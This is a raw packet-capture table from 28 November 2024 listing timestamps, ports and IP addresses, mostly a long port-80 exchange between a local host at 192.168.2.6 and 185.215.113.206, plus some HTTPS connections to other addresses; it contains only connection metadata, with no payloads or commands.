Nov 28, 2024 17:24:41.041640043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.041692019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.072185040 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.072731018 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.072738886 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.074866056 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.074944973 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.075684071 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.075865030 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.076221943 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.076226950 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.085485935 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:41.085500002 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:41.102608919 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.102646112 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.102729082 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.102812052 CET	49863	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.102858067 CET	443	49863	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.102907896 CET	49863	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.103069067 CET	49862	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.103085995 CET	443	49862	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.103178978 CET	49863	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.103190899 CET	443	49863	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.111772060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.111836910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.111840010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.111890078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.112670898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.112742901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.112759113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.112803936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.113073111 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.113141060 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.113210917 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.117780924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.117883921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.117911100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.117945910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.122910023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.123034954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.123053074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.123085976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.127840996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.127895117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.127973080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.128006935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.132837057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.132884979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.132946014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.133194923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.137655020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.137706995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.137728930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.137765884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.142146111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.142193079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.142345905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.142385960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.146610022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.146661043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.146740913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.146775961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.151164055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.151187897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.151222944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.151253939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.155458927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.155504942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.155556917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.155596972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.159677029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.159701109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.159754992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.159790039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.163955927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.164006948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.164057970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.164230108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.168184996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.168231010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.168382883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.168421030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.172476053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.172488928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.172529936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.172549963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.176707983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.176799059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.176799059 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.176842928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.180547953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.180598974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.180613041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.180639982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.184539080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.184588909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.184714079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.184751987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.188716888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.188812971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.188949108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.189093113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.192497969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.192569017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.192611933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.192657948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.196511984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.196541071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.196562052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.196576118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.200437069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.200505018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.200525999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.200572014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.204410076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.204462051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.204463005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.204509974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.208415985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.208470106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.208611965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.208662987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.212409019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.212421894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.212469101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.216360092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.216417074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.216506958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.216563940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.220643044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.220655918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.220731020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.224303961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.224349022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.224466085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.224504948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.228404045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.228466988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.228498936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.228533030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.232337952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.232389927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.232456923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.232543945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.236368895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.236418009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.236449003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.236490011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.240197897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.240272045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.240310907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.240355968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.244240999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.244328976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.244333982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.244365931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.274792910 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:41.312207937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.312313080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.379852057 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.380435944 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.380481958 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.381028891 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:41.381036997 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:41.384916067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.384980917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.385030985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.385067940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.387140036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.387214899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.387263060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.390794039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.390862942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.390887976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.390944958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.394726038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.394777060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.394809008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.394844055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.398719072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.398777962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.398823023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.401108980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.401175022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.401215076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.401252985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.403407097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.403496027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.403563023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.403635979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.405831099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.405899048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.405949116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.408191919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.408268929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.408292055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.408323050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.410517931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.410572052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.410634041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.410669088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.412863016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.412914038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.412977934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.413060904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.415298939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.415371895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.415375948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.415405989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.417681932 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.417699099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.417737961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.417754889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.420027971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.420099974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.420121908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.420162916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.422398090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.422446012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.422470093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.422514915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.424783945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.424799919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.424823046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.424843073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.427131891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.427201033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.427258968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.427294970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.429466963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.429526091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.429584980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.429677963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.431880951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.431946993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.432060957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.432099104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.434324026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.434417009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.434463978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.436594963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.436639071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.436659098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.436695099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.438997984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.439028025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.439043999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.439060926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.441334009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.441376925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.441415071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.443716049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.443785906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.443816900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.443876028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.446095943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.446136951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.446197033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.446237087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.448462963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.448513031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.448692083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.448736906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.450790882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.450864077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.450903893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.450968027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.453165054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.453221083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.453236103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.453264952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.455564976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.455576897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.455616951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.456836939 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.457056999 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.457078934 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.457880020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.457994938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.458030939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.458066940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.458229065 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.458286047 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.458735943 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:41.458800077 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:41.460314035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.460367918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.460427999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.460490942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.462680101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.462758064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.462775946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.462924004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.465018988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.465079069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.465152979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.465190887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.467360020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.467432022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.467443943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.467469931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.469829082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.469872952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.469873905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.469909906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.472167969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.472219944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.472244978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.472280979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.474558115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.474632978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.474641085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.474689007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.476922989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.476982117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.477031946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.477137089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.479302883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.479377031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.479404926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.479592085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.481645107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.481710911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.481821060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.481892109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.484010935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.484082937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.484112024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.484150887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.486382008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.486429930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.486584902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.486619949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.488694906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.488778114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.488787889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.488825083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.491143942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.491183996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.491190910 CET	49813	80	192.168.2.6	185.215.113.206
